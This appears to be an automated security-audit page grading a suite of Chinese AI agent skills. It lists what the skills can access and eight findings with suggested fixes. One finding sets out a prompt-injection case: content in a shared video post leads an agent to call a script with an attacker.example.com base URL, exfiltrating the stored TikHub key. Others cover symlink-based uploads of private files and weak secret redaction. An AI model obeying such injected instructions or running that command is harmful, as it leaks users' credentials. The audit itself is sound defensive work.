← MCP server and skill grades

skills

dontbesilent2025/dbskill/skills

C
Type
Skill
Scanned
Nov 13, 2026
Version
a60d5308c735
Files read
185

This project provides a suite of 28 Chinese AI agent skills for business consulting, content creation, local knowledge bases, video subtitle and chapter generation, Feishu task delegation, and syncing work summaries to the author's dondon bot. Its biggest risk is in the dondon sync skill, which reads chat histories across four local AI coding tools and uploads referenced documents to a remote server, where symlink, exclusion, and redaction bugs can expose private files and credentials.

What it can reach

Files
Reads and writes local archives, knowledge bases, and scaffolds under ~/.dbs/, ~/Documents/dbskill-learning/, ~/.dondon-sync/, and user-chosen project folders; creates or removes skill links across local agent directories (~/.agents/, ~/.claude/, ~/.codex/, ~/.grok/, etc.); and in dbs-sync-to-dondon reads recent chat logs from Claude Code, Codex, WorkBuddy, and Grok along with .md and .txt documents referenced in those chats.
Network
Connects to GitHub (raw.githubusercontent.com) for version checks and numbered prompts, TikHub (api.tikhub.dev, mcp.tikhub.io) and Qingdou (www.qingdou.vip) for video data and transcripts, Feishu/Lark APIs via lark-cli, and the dondon sync server (https://101.201.141.217:8443) using a bundled private CA certificate.
Shell commands
Runs bundled Python, Node.js, Bash, PowerShell, and Swift scripts, calls external command-line tools (ffmpeg, ffprobe, lark-cli, claude, npx, git, gh), and executes user-configured worker commands in dbs-human-dispatch.
Secrets
Reads and saves TikHub and Qingdou API keys in ~/.config/dbs/API_Keys.md, environment variables, or macOS Keychain (dbs-tikhub-api-key and dbs-qingdou-api-key), and stores a dondon bot sync token in ~/.dondon-sync/config.json.
System
Writes summaries to the system clipboard and, when the user opts into daily auto-sync on macOS, registers a background launchd job at ~/Library/LaunchAgents/com.dontbesilent.dondon-sync.plist.

Findings

1 high3 medium4 low
  1. HighSymlink and chat-log path scraping in dondon sync bypasses private file and folder protections

    skills/dbs-sync-to-dondon/scripts/sync_material.py:367

    When collecting recent work files to upload to the dondon server, sync_material.py scans 14 days of chat messages and tool arguments for any ~/ or /Users/ path ending in .md, .markdown, or .txt, and normalizes paths with os.path.normpath() instead of resolving symbolic links with os.path.realpath(). A symbolic link inside a cloned repository (for example pointing to ~/.aws/config, ~/.claude/ logs, or a file inside private/) passes the path and extension filters under its .md alias, causing stage_files() and push_key() to read and upload the sensitive target file. In addition, file paths mentioned inside pasted stranger text can be queued and uploaded without review if daily auto-sync is enabled.

    Fix: Reject symbolic links or resolve paths with os.path.realpath() before applying skip_reason(), and restrict file collection to user-approved workspace directories rather than regex-scraping all chat text.

  2. MediumIncomplete secret detection in dondon sync leaks Chinese-labeled passwords and Markdown-formatted keys

    skills/dbs-sync-to-dondon/scripts/sync_material.py:68

    dbs-sync-to-dondon promises to block any document containing passwords or API keys and redact secrets in chat excerpts before uploading to https://101.201.141.217:8443. In Python 3, \b treats Chinese characters as word characters, so REDACT_PATTERNS fails to match common Chinese phrases without spaces such as 账号密码:Pass1234! or 登录口令:8848abcd, while SECRET_PATTERNS misses values shorter than 12 ASCII characters. Both regex lists also fail when Markdown bold or code markers appear before the colon (such as - **Key**: ... or **password**: ...) or when credentials appear inside database URLs, allowing secrets in .md notes and chats to be uploaded in cleartext.

    Fix: Remove \b before Chinese keywords, allow optional spaces and Markdown emphasis (*, _, `) around key labels, redact short password values, and add a pattern for credentials in URLs.

  3. MediumArbitrary --base-url in tikhub_api.py allows exfiltration of stored TikHub API keys

    skills/dbs-video-extract/scripts/tikhub_api.py:157

    dbs-video-extract stores the user's paid TikHub API key in ~/.config/dbs/API_Keys.md or macOS Keychain specifically so the AI agent never handles the raw credential. However, tikhub_api.py accepts a --base-url flag (and TIKHUB_BASE_URL) and only checks that the URL uses https:// with no path, without verifying the domain. If prompt injection in a shared video post tricks the agent into calling tikhub_api.py with --base-url https://attacker.example.com, the script sends the stored key in the Authorization: Bearer header to the attacker's server.

    Fix: Validate --base-url and TIKHUB_BASE_URL against an explicit allowlist of official TikHub domains (api.tikhub.dev and api.tikhub.io), and similarly restrict QINGDOU_BASE_URL to www.qingdou.vip.

  4. MediumNumbered prompt mode fetches and executes unpinned remote instructions from GitHub main at runtime

    skills/dbs/scripts/numbered-prompts.py:89

    When /dbs is called with a three-digit code, numbered-prompts.py downloads PROMPT.md from the mutable main branch on GitHub so the agent can execute those instructions immediately in the current turn. Although SKILL.md says the script verifies the prompt's SHA-256 hash, catalog() fetches catalog.json (containing the expected hash) live from the same unpinned main branch rather than using the locally installed snapshot, meaning a future change or compromise of the repository's main branch can inject new instructions into existing installations at runtime.

    Fix: Verify downloaded numbered prompts against the SHA-256 digests pinned in the locally installed catalog.json, or pin remote fetches to immutable release tags.

  5. LowScheduled daily dondon auto-sync ignores folders excluded by the user

    skills/dbs-sync-to-dondon/scripts/sync_material.py:928

    During manual sync, users can exclude sensitive folders with collect --exclude, and Step 6 of SKILL.md tells the user that enabling daily 9:00 AM auto-sync follows the exact same workflow without asking each time. However, collect never saves --exclude patterns to disk, and cmd_auto_run() hardcodes exclude=[], silently uploading chat excerpts and documents from the folders the user explicitly excluded.

    Fix: Persist --exclude patterns in ~/.dondon-sync/config.json or state.json and load them in cmd_auto_run() before running cmd_collect().

  6. LowUpdate and install-verification workflows execute unpinned npx package and repository branch

    skills/dbs-update/SKILL.md:39

    Both dbs-update and dbs-skill-maker/scripts/verify_npx_install.sh run npx -y skills add ... -g --all without pinning either the npm skills package version or a Git tag/commit SHA. Passing -y auto-installs and executes whatever latest version of the skills package is currently on npm and pulls the mutable default branch of the target GitHub repository.

    Fix: Pin the npm CLI version (for example npx --package=skills@<exact-version>) and reference immutable Git tags or commit SHAs when installing or updating skills.

  7. LowMain /dbs skill makes an automatic outbound update check without being asked

    skills/dbs/SKILL.md:26

    Every time the user invokes /dbs (up to once per 24 hours), SKILL.md instructs the agent to run check-update.sh before handling the user's task. The script fetches UPDATE.json from raw.githubusercontent.com without user request and prints up to 80 characters of remote notice text into tool output read by the agent.

    Fix: Run version checks only when the user explicitly invokes /dbs-update or asks to check for updates.

  8. LowSkill name path validation misses Windows backslashes in install-skill.sh and traversal in prepare_github_repo.py

    skills/dbs-install-skill/scripts/install-skill.sh:191

    install-skill.sh reads the target directory name from the frontmatter name field of SKILL.md and blocks only ., .., and forward slashes (*/*). On Windows MSYS/Git Bash environments (which the script supports via PowerShell Junctions), a crafted external SKILL.md containing backslashes in name (such as ..\..\other) can traverse outside the intended skills folder when creating Junctions or writing and deleting Grok bridge directories; similarly, prepare_github_repo.py joins staging / 'skills' / name without path-traversal checks.

    Fix: Reject backslashes, colons, and .. segments in skill_name() and prepare_github_repo.py, and verify the resolved destination path stays directly inside the target skills directory.